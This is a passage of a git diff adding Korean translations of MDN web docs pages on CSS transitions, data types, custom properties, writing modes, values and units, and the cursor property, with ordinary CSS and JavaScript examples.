+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:2s;
+    transition-timing-function: linear;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:2s;
+    transition-timing-function: linear;
+}
+
+ +
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("delay_2s",275,150)}}
+
+ +
+

transition-delay: 4s

+ +
+
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+  
+ +
.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:4s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:4s;
+    transition-timing-function: ease-in-out;
+}
+
+ +
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("delay_4s",275,150)}}
+
+
+
+
+ +

다음과 같이 단축 CSS 문법을 사용합니다.

+ +
div {
+    transition: <property> <duration> <timing-function> <delay>;
+}
+ +

트랜지션 완료 감지하기

+ +

트랜지션을 완료하면 발생하는 단일 이벤트가 있습니다. 모든 표준을 따르는 브라우저에서 그 이벤트는 transitionend이며, WebKit에서는 webkitTransitionEnd입니다. 자세한 내용은 맨 아래의 호환성 테이블을 참고하세요. transitionend 이벤트는 두 속성을 제공합니다.

+ +
+
propertyName
+
트랜지션을 완료한 CSS 속성의 이름을 나타내는 문자열
+
elapsedTime
+
이벤트가 발생한 시점에 해당 트랜지션이 진행된 시간을 초로 나타내는 실수. 이 값은 {{ cssxref("transition-delay") }} 값에 영향을 받지 않습니다.
+
+ +

평소대로 {{ domxref("element.addEventListener()") }} 메소드를 사용하여 이 이벤트를 모니터링할 수 있습니다.

+ +
el.addEventListener("transitionend", updateTransition, true);
+
+ +
노트: 트랜지션을 중단하면 transitionend 이벤트는 발생하지 않습니다. 트랜지션을 완료하기 전에 애니메이션하고 있는 속성의 값이 바뀌기 때문입니다.
+ +

속성값 목록이 다른 개수를 가진 경우

+ +

어떤 속성의 값 목록이 다른 것보다 짧다면, 일치되도록 그 값을 반복합니다. 예를 들면,

+ +
div {
+  transition-property: opacity, left, top, height;
+  transition-duration: 3s, 5s;
+}
+
+ +

위는 아래와 같이 처리합니다.

+ +
div {
+  transition-property: opacity, left, top, height;
+  transition-duration: 3s, 5s, 3s, 5s;
+}
+ +

비슷하게, 어떤 속성의 값 목록이 {{ cssxref("transition-property") }} 목록보다 길다면, 그것은 끝을 잘라냅니다. 그래서, 아래의 CSS가 있다면,

+ +
div {
+  transition-property: opacity, left;
+  transition-duration: 3s, 5s, 2s, 1s;
+}
+ +

위를 아래와 같이 해석합니다.

+ +
div {
+  transition-property: opacity, left;
+  transition-duration: 3s, 5s;
+}
+ +

간단한 예제

+ +

이 예제는 사용자가 마우스를 해당 요소 위에 올려놓고 애니메이션 효과가 시작할 때까지 2초의 딜레이가 있는 4초짜리 폰트 크기 트랜지션을 수행합니다.

+ +
#delay1 {
+  position: relative;
+  transition-property: font-size;
+  transition-duration: 4s;
+  transition-delay: 2s;
+  font-size: 14px;
+}
+
+#delay1:hover {
+  transition-property: font-size;
+  transition-duration: 4s;
+  transition-delay: 2s;
+  font-size: 36px;
+}
+
+ +

메뉴 하이라이팅에 트랜지션 사용

+ +

CSS의 흔한 사용은 사용자가 마우스 커서를 메뉴 위에 올려놓을 때 그 메뉴 아이템을 하이라이팅하는 것입니다. 트랜지션을 사용하여 효과를 훨씬 더 매력적으로 만들 수 있습니다.

+ +

코드 스니핏(snippets, 역자주: 재활용이 가능한 소스 조각)을 보기 전에, (여러분의 브라우저가 트랜지션을 지원한다고 가정하면) 라이브 데모를 보고 싶을지도 모르겠습니다. 그것이 사용한 CSS를 직접 볼 수도 있습니다.

+ +

우선 HTML을 사용하여 메뉴를 설정합니다.

+ +
<div class="sidebar">
+  <p><a class="menuButton" href="home">Home</a></p>
+  <p><a class="menuButton" href="about">About</a></p>
+  <p><a class="menuButton" href="contact">Contact Us</a></p>
+  <p><a class="menuButton" href="links">Links</a></p>
+</div>
+
+ +

그리고 우리 메뉴의 모습과 느낌(look and feel)을 CSS로 만듭니다. 관련 부분이 여기 있습니다.

+ +
.menuButton {
+  position: relative;
+  transition-property: background-color, color;
+  transition-duration: 1s;
+  transition-timing-function: ease-out;
+  text-align: left;
+  background-color: grey;
+  left: 5px;
+  top: 5px;
+  height: 26px;
+  color: white;
+  border-color: black;
+  font-family: sans-serif;
+  font-size: 20px;
+  text-decoration: none;
+  box-shadow: 2px 2px 1px black;
+  padding: 2px 4px;
+  border: solid 1px black;
+}
+
+.menuButton:hover {
+  position: relative;
+  transition-property: background-color, color;
+  transition-duration: 1s;
+  transition-timing-function: ease-out;
+  background-color:white;
+  color:black;
+  box-shadow: 2px 2px 1px black;
+}
+
+ +

이 CSS는 그 요소가 {{ cssxref(":hover") }} 상태일 때 배경과 텍스트 색상 모두를 변경하면서 메뉴의 모습을 설정합니다.

+ +

그 효과를 장황하게 설명하는 대신, 브라우저가 트랜지션을 지원한다면, 라이브 샘플을 살펴보세요.

+ +

트랜지션을 이용하여 JavaScript 기능 부드럽게 하기

+ +

트랜지션은 JavaScript 기능에 아무것도 하지 않고 훨씬 더 부드럽게 보이도록 하는 훌륭한 도구입니다. 아래 예제를 보세요.

+ +
<p>Click anywhere to move the ball</p>
+<div id="foo"></div>
+
+ +

JavaScript를 사용하여 공을 어떤 위치로 움직이는 효과가 일어나게 할 수 있습니다.

+ +
var f = document.getElementById('foo');
+document.addEventListener('click', function(ev){
+    f.style.left = (ev.clientX-25)+'px';
+    f.style.top = (ev.clientY-25)+'px';
+},false);
+
+ +

추가 노력 없이 CSS로 이것을 부드럽게 할 수 있습니다. 단순히 그 요소에 트랜지션을 추가하면 어떠한 변화도 부드럽게 일어날 것입니다.

+ +
p {
+  padding-left: 60px;
+}
+
+#foo {
+  border-radius: 50px;
+  width: 50px;
+  height: 50px;
+  background: #c00;
+  position: absolute;
+  top: 0;
+  left: 0;
+  transition:  all 1s;
+}
+
+ +

여기에서 확인할 수 있습니다. http://jsfiddle.net/RwtHn/5/

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Transitions', '', '') }}{{ Spec2('CSS3 Transitions') }}Initial specification.
+ +

같이 보기

+ +
 
+ + diff --git a/files/ko/web/css/css_types/index.html b/files/ko/web/css/css_types/index.html new file mode 100644 index 0000000000..a819349900 --- /dev/null +++ b/files/ko/web/css/css_types/index.html @@ -0,0 +1,100 @@ +--- +title: CSS 자료형 +slug: Web/CSS/CSS_Types +tags: + - CSS + - CSS Data Type + - Overview + - Reference + - 자료형 +translation_of: Web/CSS/CSS_Types +--- +
{{cssref}}
+ +

CSS 자료형은 CSS 속성과 함수가 받아들이는, 키워드와 단위를 포함한 일반적인 값을 정의합니다. 자료형은 Component value type의 특별한 종류입니다.

+ +

형식 구문에서 자료형을 나타낼 땐 부등호 "<"와 ">"로 감싸서 표기합니다.

+ +

참고서

+ +
+
    +
  • {{cssxref("<angle>")}}
  • +
  • {{cssxref("<angle-percentage>")}}
  • +
  • {{cssxref("<angular-color-hint>")}}
  • +
  • {{cssxref("<angular-color-stop>")}}
  • +
  • {{cssxref("<attr-fallback>")}}
  • +
  • {{cssxref("<attr-name>")}}
  • +
  • {{cssxref("<basic-shape>")}}
  • +
  • {{cssxref("<blend-mode>")}}
  • +
  • {{cssxref("<calc-product>")}}
  • +
  • {{cssxref("<calc-sum>")}}
  • +
  • {{cssxref("<calc-value>")}}
  • +
  • {{cssxref("<color>")}}
  • +
  • {{cssxref("<color-stop>")}}
  • +
  • {{cssxref("<color-stop-angle>")}}
  • +
  • {{cssxref("<counter-style>")}}
  • +
  • {{cssxref("<custom-ident>")}}
  • +
  • {{cssxref("<dimension>")}}
  • +
  • {{cssxref("<filter-function>")}}
  • +
  • {{cssxref("<flex>")}}
  • +
  • {{cssxref("<frequency>")}}
  • +
  • {{cssxref("<frequency-percentage>")}}
  • +
  • {{cssxref("<gradient>")}}
  • +
  • {{cssxref("<ident>")}}
  • +
  • {{cssxref("<image>")}}
  • +
  • {{cssxref("<integer>")}}
  • +
  • {{cssxref("<length>")}}
  • +
  • {{cssxref("<length-percentage>")}}
  • +
  • {{cssxref("<number>")}}
  • +
  • {{cssxref("<number-percentage>")}}
  • +
  • {{cssxref("<percentage>")}}
  • +
  • {{cssxref("<position>")}}
  • +
  • {{cssxref("<quote>")}}
  • +
  • {{cssxref("<ratio>")}}
  • +
  • {{cssxref("<resolution>")}}
  • +
  • {{cssxref("<shape-box>")}}
  • +
  • {{cssxref("<shape-radius>")}}
  • +
  • {{cssxref("<string>")}}
  • +
  • {{cssxref("<time>")}}
  • +
  • {{cssxref("<time-percentage>")}}
  • +
  • {{cssxref("<timing-function>")}}
  • +
  • {{cssxref("<toggle-value>")}}
  • +
  • {{cssxref("<transform-function>")}}
  • +
  • {{cssxref("<type-or-unit>")}}
  • +
  • {{cssxref("<url>")}}
  • +
  • {{cssxref("<url-modifier>")}}
  • +
  • {{cssxref("<zero>")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS4 Values') }}{{ Spec2('CSS4 Values') }}
{{ SpecName('CSS3 Values') }}{{ Spec2('CSS3 Values') }}Initial definition.
+ +

같이 보기

+ + diff --git a/files/ko/web/css/css_variables/index.html b/files/ko/web/css/css_variables/index.html new file mode 100644 index 0000000000..56efa433e7 --- /dev/null +++ b/files/ko/web/css/css_variables/index.html @@ -0,0 +1,37 @@ +--- +title: CSS Custom Properties for Cascading Variables +slug: Web/CSS/CSS_Variables +translation_of: Web/CSS/CSS_Variables +--- +
{{cssref}}
+ +

CSS Custom Properties for Cascading Variables

+ +

캐스케이딩 변수를 위한 CSS 사용자지정 속성은, 반복적으로 사용가능한 사용자지정 속성을 만들 수 있게 해주는 모듈입니다.

+ +

CSS 속성

+ +
+
    +
  • {{cssxref("--*")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Variables")}}{{Spec2("CSS3 Variables")}}Initial definition
diff --git a/files/ko/web/css/css_writing_modes/index.html b/files/ko/web/css/css_writing_modes/index.html new file mode 100644 index 0000000000..a69bc088cc --- /dev/null +++ b/files/ko/web/css/css_writing_modes/index.html @@ -0,0 +1,57 @@ +--- +title: CSS Writing Modes +slug: Web/CSS/CSS_Writing_Modes +tags: + - CSS + - CSS Writing Modes + - Overview + - Reference +translation_of: Web/CSS/CSS_Writing_Modes +--- +
{{CSSRef}}
+ +

CSS Writing Modes는 다양한 국제 쓰기 모드를 정의하는 CSS 모듈입니다, 좌에서 우(가령 Latin 및 Indic 스크립트에 사용됨), 우에서 좌(가령 Hebrew 또는 Arabic 스크립티에 사용됨), 양방향(좌에서 우 및 우에서 좌 스크립트를 섞을 때 사용됨) 및 세로(가령 일부 Asian 스크립트에 사용됨) 등.

+ +

참고서

+ +

속성

+ +
+
    +
  • {{cssxref("direction")}}
  • +
  • {{cssxref("glyph-orientation-horizontal")}}
  • +
  • {{cssxref("text-combine-upright")}}
  • +
  • {{cssxref("text-orientation")}}
  • +
  • {{cssxref("unicode-bidi")}}
  • +
  • {{cssxref("writing-mode")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS3 Writing Modes')}}{{Spec2('CSS3 Writing Modes')}} 
{{SpecName('CSS2.1', 'text.html')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1')}}{{Spec2('CSS1')}}초기 정의
diff --git "a/files/ko/web/css/css_\353\213\250\354\234\204\354\231\200_\352\260\222/index.html" "b/files/ko/web/css/css_\353\213\250\354\234\204\354\231\200_\352\260\222/index.html" new file mode 100644 index 0000000000..94d8ceabd6 --- /dev/null +++ "b/files/ko/web/css/css_\353\213\250\354\234\204\354\231\200_\352\260\222/index.html" @@ -0,0 +1,497 @@ +--- +title: CSS 단위와 값 +slug: Web/CSS/CSS_단위와_값 +tags: + - CSS + - 값과 단위 + - 안내서 + - 참조 +translation_of: Web/CSS/CSS_Values_and_Units +--- +
{{CSSRef}}
+ +

모든 CSS 선언은 속성 / 값 쌍을 포함합니다. 속성에 따라 값은 하나의 정수 또는 키워드, 여러 개의 키워드, 단위가 있거나 없는 값의 나열이 될 수 있습니다. CSS 속성에 허용되는 공통적인 자료형(단위와 값)의 집합이 있습니다. 아래는 이들 자료형 대부분에 대한 개요입니다. 더 자세한 정보를 보려면 각 자료형의 페이지를 참고하세요.

+ +

텍스트 자료형

+ +
    +
  • {{cssxref("<custom-ident>")}}
  • +
  • <ident>로서 미리 정의된 키워드
  • +
  • {{cssxref("<string>")}}
  • +
  • {{cssxref("<url>")}}
  • +
+ +

텍스트 자료형은 <string>이거나, 연속된 문자를 따옴표로 감싼 것, 또는 따옴표로 감싸지 않은 "CSS 식별자"인 <ident>가 될 수 있습니다. <string>은 작은따옴표 또는 큰따옴표로 감싸져야 합니다. 사양에서 <ident> 또는 <custom-ident>의 목록에 포함되어 있는 CSS 식별자는 따옴표로 감싸서는 안 됩니다.

+ +

CSS 사양에서는 웹 개발자가 정의할 수 있는 값들, 가령 키프레임 애니메이션이나 서체 가족의 이름, 그리드 영역 같은 것들을 {{cssxref("<custom-ident>")}}, {{cssxref("<string>")}}, 또는 둘 다로서 목록에 표시합니다.

+ +

사용자가 정의한 텍스트 값을 따옴표로 감싸는 것과 감싸지 않는 것 모두가 허용되는 경우, 사양에서는 <custom-ident> | <string>로서 이를 목록에 표시하며, 이는 따옴표가 선택 사항임을 의미합니다. 애니메이션 이름이 바로 그런 경우입니다:

+ +
@keyframe validIdent {
+  /* keyframes go here */
+}
+@keyframe 'validString' {
+  /* keyframes go here */
+}
+ +

몇몇 텍스트 값은 따옴표로 감싸지 않는 경우 유효하지 않습니다. 예를 들어, {{cssxref("grid-area")}}의 값은 <custom-ident>일 수 있으므로, 만약 content라는 이름의 그리드 영역이 있을 때 아래처럼 이를 따옴표 없이 사용할 수 있습니다:

+ +
.item {
+  grid-area: content;
+}
+
+ +

반면, {{cssxref("<string>")}}인 자료형의 경우, 예를 들어 {{cssxref("content")}} 속성의 문자열 값은 따옴표로 감싸져야 합니다:

+ +
.item::after {
+    content: "This is my content.";
+}
+
+ +

일반적으로 이모지를 포함해 여러분이 원하는 아무 이름이나 만들 수 있지만, none, unset, initial, inherit, 숫자 또는 2개의 대시로 시작하는 이름은 식별자가 될 수 없으며, 대부분의 경우 미리 정의된 다른 CSS 키워드와 동일한 이름을 사용하고 싶지는 않을 것입니다. 더 자세한 내용을 보려면 {{cssxref("<custom-ident>")}}와 {{cssxref("<string>")}}의 참조 페이지를 확인하세요.

+ +

미리 정의된 키워드 값

+ +

미리 정의된 키워드 값은 특정 속성의 사양에 정의된 텍스트 값입니다. 이 키워드들은 CSS 식별자이기도 해서 따옴표 없이 사용됩니다.

+ +

CSS 사양 또는 MDN의 속성 페이지에서 CSS 속성의 값에 대한 문법을 보면, 허용되는 키워드가 아래와 같은 형태로 나열됩니다. 아래는 {{cssxref("float")}}에 허용되는 미리 정의된 키워드 값입니다.

+ +
left | right | none | inline-start | inline-end
+ +

이런 값들은 따옴표 없이 사용됩니다:

+ +
.box {
+    float: left;
+}
+
+ +

CSS 전체에 공유되는 값

+ +

한 속성의 사양의 일부로서 존재하는 미리 정의된 키워드와 더불어, 모든 CSS 속성은 CSS 전체에 걸쳐 공유되는 값인 {{cssxref("initial")}}, {{cssxref("inherit")}}, {{cssxref("unset")}}을 받아들일 수 있으며, 이들은 기본 동작을 명시적으로 지정합니다.

+ +

initial 키워드는 속성의 초기 값으로 지정된 값을 표현합니다. inherit 키워드는 해당 요소의 부모에 적용된 동일 속성의 계산값을 표현하며, 해당 속성이 상속된다고 가정합니다.

+ +

unset 키워드는 inherit 또는 initial처럼 동작하는데, 해당 속성이 상속되는 경우 전자, 아닌 경우 후자로 동작합니다.

+ +

네번째 값으로 {{cssxref("revert")}}가 Cascade Level 4 사양에 추가되었지만, 지금은 브라우저 지원 상태가 좋지 않습니다.

+ +

URL

+ +

{{cssxref("<url>")}} 자료형은 함수 표기법을 사용하며, 함수가 URL에 해당하는 <string>을 받는 형태입니다. 이것은 절대 URL 또는 상대 URL일 수 있습니다. 예를 들어, 배경 이미지를 넣고 싶을 때 다음 중 아무거나 사용할 수 있습니다.

+ +
.box {
+  background-image: url("images/my-background.png");
+}
+
+.box {
+  background-image: url("https://www.exammple.com/images/my-background.png");
+}
+
+ +

url() 의 매개변수는 따옴표로 감싸거나 감싸지 않을 수 있습니다. 감싸지 않는 경우, 이는 <url-token>으로 해석되어 특정 문자를 이스케이프하는 등의 추가적인 할 일이 생깁니다. 더 자세한 내용을 보려면 {{cssxref("<url>")}}를 확인하세요.

+ +

숫자 자료형

+ +
    +
  • {{cssxref("<integer>")}}
  • +
  • {{cssxref("<number>")}}
  • +
  • {{cssxref("<dimension>")}}
  • +
  • {{cssxref("<percentage>")}}
  • +
+ +

정수

+ +

정수는 1개 이상의 10진수 숫자(0부터 9)로, 예를 들어 1024나 -55가 이에 속합니다. 정수 앞에는 + 또는 - 기호를 덧붙일 수 있는데, 기호와 정수 사이에 공백이 없어야 합니다.

+ +

숫자

+ +

{{cssxref("<number>")}}는 실수를 나타내며, 소수점과 소수부분을 포함할 수도 있고 포함하지 않을 수도 있습니다. 예를 들어 0.255, 128-1.2가 이에 속합니다. 숫자 앞에도 +나 - 기호를 덧붙일 수 있습니다.

+ +

치수

+ +

{{cssxref("<dimension>")}}은 <number>에 단위를 붙인 것으로, 예를 들면 45deg, 100ms10px가 이에 속합니다. 덧붙인 단위 식별자는 대소문자를 구별하지 않습니다. 숫자와 단위 식별자 사이에는 공백 또는 다른 문자가 들어갈 수 없습니다: 즉, 1 cm는 유효하지 않습니다.

+ +

CSS는 치수를 사용해 아래와 같은 것들을 표시합니다:

+ +
    +
  • {{cssxref("<length>")}} (거리 단위)
  • +
  • {{cssxref("<angle>")}}
  • +
  • {{cssxref("<time>")}}
  • +
  • {{cssxref("<frequency>")}}
  • +
  • {{cssxref("<resolution>")}}
  • +
+ +

다음 절에서 이것들을 다룹니다.

+ +

거리 단위

+ +

거리 단위, 또는 길이가 값으로 허용되는 속성은 {{cssxref("<length>")}} 자료형으로 표시됩니다. CSS에는 2가지 종류의 길이가 있습니다: 상대적 길이와 절대적 길이입니다.

+ +

상대적 길이 단위는 다른 무언가와 비교해 상대적인 길이를 나타냅니다. 예를 들어, em은 해당 요소의 폰트 크기에 상대적이며 vh는 뷰포트의 높이에 상대적입니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

상대적 길이 단위들

+
단위비교의 대상
em해당 요소의 폰트 크기
ex해당 요소의 폰트의 x높이
cap해당 요소의 폰트의 대문자 높이(대문자의 공칭 높이)
ch해당 요소의 폰트의 좁은 문자가 평균적으로 나아가는 길이, “0” (ZERO, U+0030) 문자로 대표됨.
ic해당 요소의 폰트의 전각 문자가 평균적으로 나아가는 길이, “水” (CJK 물 표의 문자, U+6C34) 문자로 대표됨.
rem루트 요소의 폰트 크기
lh해당 요소의 줄 높이
rlh루트 요소의 줄 높이
vw뷰포트 너비의 1%
vh뷰포트 높이의 1%
vi루트 요소의 인라인 축 방향으로 뷰포트 길이의 1%
vb루트 요소의 블록 축 방향으로 뷰포트 길이의 1%
vmin뷰포트의 길이 중 더 짧은 것의 1%
vmax뷰포트의 길이 중 더 긴 것의 1%
+ +

절대적 길이 단위는 인치 또는 센티미터의 물리적 길이로 고정적입니다. 그래서 이 단위들의 다수는 인쇄물과 같은 고정된 크기의 매체로 출력되는 경우에 유용합니다. 예를 들어, mm는 물리적인 밀리미터, 즉 센티미터의 1/10입니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

절대적 길이 단위

+
단위이름다음과 동일함
cm센티미터1cm = 96px/2.54
mm밀리미터1mm = 1cm의 1/10
Q쿼터-밀리미터1Q = 1cm의 1/40
in인치1in = 2.54cm = 96px
pc피카1pc = 1in의 1/16
pt포인트1pt = 1in의 1/72
px픽셀1px = 1in의 1/96
+ +

길이 값을 포함할 때 길이가 0이면, 단위 식별자가 필요하지 않습니다. 그 외의 경우 단위 식별자가 필요합니다. 단위 식별자는 대소문자를 구별하지 않으며, 값의 숫자 부분 이후에 공백 없이 바로 나와야 합니다.

+ +

각도 단위

+ +

각도 값은 {{cssxref("<angle>")}} 자료형으로 표시되며 다음의 값이 허용됩니다:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
단위이름설명
deg360도가 완전한 원을 이룹니다.
grad그라디안400 그라디안이 완전한 원을 이룹니다.
rad라디안2π 라디안이 완전한 원을 이룹니다.
turn1턴이 완전한 원을 이룹니다.
+ +

시간 단위

+ +

시간 단위는 {{cssxref("<time>")}} 자료형으로 표시됩니다. 시간 단위를 포함할 때는 단위 식별자인 s 또는 ms가 반드시 필요합니다. 아래의 값이 허용됩니다.

+ + + + + + + + + + + + + + + + + + + + + +
단위이름설명
s
ms밀리초1,000 밀리초는 1초와 같습니다.
+ +

진동수 단위

+ +

진동수 단위는 {{cssxref("<frequency>")}} 자료형으로 표시됩니다. 아래 값이 허용됩니다.

+ + + + + + + + + + + + + + + + + + + + + +
단위이름설명
Hz헤르츠1초당 발생한 횟수를 나타냅니다.
kHz킬로헤르츠1 킬로헤르츠는 1000 헤르츠와 같습니다.
+ +

1Hz, 또는 1hz1HZ는 초당 진동수입니다.

+ +

해상도 단위

+ +

해상도 단위는 {{cssxref("<resolution>")}}로 표시됩니다. 이것들은 스크린과 같은 그래픽 표시에서 CSS 인치당, 센티미터당, 픽셀당 몇 개의 점을 포함할 수 있는지를 나타냄으로써 점 1개의 크기를 표현합니다. 다음의 값이 허용됩니다:

+ + + + + + + + + + + + + + + + + + + + + + +
단위설명
dpi인치당 점의 수.
dpcm센티미터당 점의 수.
dppx, x픽셀당 점의 수.
+ +

퍼센트

+ +

{{cssxref("<percentage>")}}는 다른 값의 일부분을 표현하는 자료형입니다.

+ +

퍼센트 값은 언제나 다른 양, 예컨대 길이와 같은 것에 상대적입니다. 퍼센트를 허용하는 속성은 그 퍼센트가 참조하는 양 또한 정의합니다. 이 양은 같은 요소가 갖는 다른 속성의 값이거나, 조상 요소가 갖는 속성의 값이거나, 이 요소를 포함하는 블록의 치수 등이 될 수 있습니다.

+ +

예를 들면, 어떤 박스의 {{cssxref("width")}}를 퍼센트로 지정한 경우, 그 박스의 부모의 계산된 너비의 퍼센트를 참조합니다:

+ +
.box {
+  width: 50%;
+}
+ +

퍼센트와 치수 함께 사용하기

+ +

일부 속성은 두 자료형 중 하나를 선택해서, 예를 들면 <length> 또는 <percentage>를 골라서 치수를 지정할 수 있습니다. 이 경우 사양에는 허용되는 값이 {{cssxref("<length-percentage>")}}처럼 조합된 단위로 기술됩니다. 다음은 가능한 다른 조합입니다:

+ +
    +
  • {{cssxref("<frequency-percentage>")}}
  • +
  • {{cssxref("<angle-percentage>")}}
  • +
  • {{cssxref("<time-percentage>")}}
  • +
+ +

특별한 자료형 (다른 사양에서 정의된 것들)

+ +
    +
  • {{cssxref("<color>")}}
  • +
  • {{cssxref("<image>")}}
  • +
  • {{cssxref("<position>")}}
  • +
+ +

색깔

+ +

{{cssxref("<color>")}} 값은 요소의 외관 색깔(예: 배경색)을 지정하며, CSS Color Module에 정의되어 있습니다.

+ +

이미지

+ +

{{cssxref("<image>")}} 값은 CSS에서 사용될 수 있는 다양한 종류의 이미지를 지정하며, CSS Image Values and Replaced Content Module에 정의되어 있습니다.

+ +

위치

+ +

{{cssxref("<position>")}} 자료형은 배치 영역 안에서 객체의 2D 위치를, 예컨대 컨테이너 안에서 배경 이미지의 위치 같은 것을 정의합니다. 이 자료형은 {{cssxref("background-position")}}으로 해석되므로 CSS Backgrounds and Borders specification에 명시되어 있습니다.

+ +

함수 표기법

+ +
    +
  • {{cssxref("calc()")}}
  • +
  • {{cssxref("min", "min()")}}
  • +
  • {{cssxref("max", "max()")}}
  • +
  • {{cssxref("clamp", "clamp()")}}
  • +
  • {{cssxref("toggle", "toggle()")}}
  • +
  • {{cssxref("attr", "attr()")}}
  • +
+ +

함수 표기법은 더 복잡한 자료형을 표현하거나 CSS가 특별한 처리를 하도록 지시하는 자료형의 값입니다. 이 문법은 함수의 이름으로 시작해서 바로 왼쪽 괄호 (가 뒤따르고, 함수의 인자를 나열한 다음, 오른쪽 괄호 )로 끝납니다. 함수는 여러 개의 인자를 받을 수 있으며, CSS 속성 값과 비슷한 형식을 가집니다.

+ +

공백 문자는 허용되지만, 괄호 안에서는 선택 사항입니다. (단 min(), max()clamp() 함수 페이지의 주의 사항에서 공백 문자에 대한 내용을 확인하세요.)

+ +

rgba()와 같은 몇몇 레거시 함수 표기법이 콤마를 사용하지만, 일반적으로 콤마는 목록에서 아이템을 구분하기 위해 사용됩니다. 콤마가 인자를 구분하기 위해 사용된 경우, 콤마 전후의 공백 문자는 선택 사항입니다.

+ +

사양

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
사양상태비고
{{SpecName("CSS4 Values")}}{{Spec2("CSS4 Values")}}vi, vb, ic, cap, lhrlh 단위 추가.
+ min(), max()clamp() 함수 표기법 추가
+ toggle() 추가
{{SpecName("CSS3 Values")}}{{Spec2("CSS3 Values")}}calc()chremvwvwvminvmaxQ 추가
{{SpecName("CSS4 Colors")}}{{Spec2("CSS4 Colors")}}rgb()rgba()hsl()hsla() 함수에 콤마 없는 문법 추가. rgb()와 hsl()에 알파 값 허용하며 rgba()와 hsla()를 그것들의 (지원이 중단된) 별칭으로 전환.
+ 색깔 키워드 rebeccapurple 추가. 4자리와 8자리의 16진수 색깔 값 추가, 마지막 숫자(들)이 알파 값을 의미함.
+ hwb()device-cmyk()color() 함수 추가.
{{SpecName("CSS3 Colors")}}{{Spec2("CSS3 Colors")}}system-colors를 지원 중단으로 표시. SVG 색깔 추가. rgba()hsl()hsla() 함수 추가.
{{SpecName("CSS4 Images")}}{{Spec2("CSS4 Images")}} +

element(), image(), image-set(), conic-gradient() 추가

+
{{SpecName("CSS3 Images")}}{{Spec2("CSS3 Images")}}이미지를 처음으로 정의함.
{{SpecName("CSS2.1")}}{{Spec2("CSS2.1")}}
{{SpecName("CSS1")}}{{Spec2("CSS1")}}첫번째 정의.
+ +

같이 보기

+ + diff --git a/files/ko/web/css/cursor/index.html b/files/ko/web/css/cursor/index.html new file mode 100644 index 0000000000..113920f9ee --- /dev/null +++ b/files/ko/web/css/cursor/index.html @@ -0,0 +1,315 @@ +--- +title: cursor +slug: Web/CSS/cursor +tags: + - CSS + - CSS Property + - Reference + - Web +translation_of: Web/CSS/cursor +--- +
{{CSSRef}}
+ +

CSS cursor 속성은 요소 위에 마우스 커서가 올라갔을 때 보여줄 모양을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/cursor.html")}}
+ + + +

구문

+ +
/* 키워드 값 */
+cursor: pointer;
+cursor: auto;
+
+/* URL, 대체용 키워드 */
+cursor: url(hand.cur), pointer;
+
+/* URL과 좌표 및 대체 키워드
+crsor: url(cursor1.png) 4 12, auto;
+cursor: url(cursor2.png) 2 2, pointer;
+
+/* 전역 값 */
+cursor: inherit;
+cursor: initial;
+cursor: unset;
+
+ +

cursor 속성은 쉼표로 구분한 0개 이상의 {{anch("<url>")}}과, 필수로 지정해야 하는 키워드 값으로 이루어집니다. 각각의 <url>은 이미지 파일을 가리켜야 합니다. 브라우저는 첫 번째 이미지를 불러오려 시도하고, 실패했을 땐 다음 이미지를, 모두 실패하거나 지정한 이미지가 처음부터 없었다면 키워드 값을 사용합니다.

+ +

<url>은 공백으로 구분한 숫자 쌍을 받을 수 있습니다. 두 숫자는 이미지의 좌상단 모서리를 기준으로, 커서가 상호작용하는 부분의 x, y 좌표를 나타냅니다.

+ +

아래 예제는 <url> 값으로 이미지 두 개를 지정했고, 두 번째 이미지는 <x><y> 좌표도 설정했으며 모두 불러올 수 없으면 progress 키워드를 사용합니다.

+ +
cursor: url(one.svg), url(two.svg) 5 5, progress;
+ +

+ +
+
<url>
+
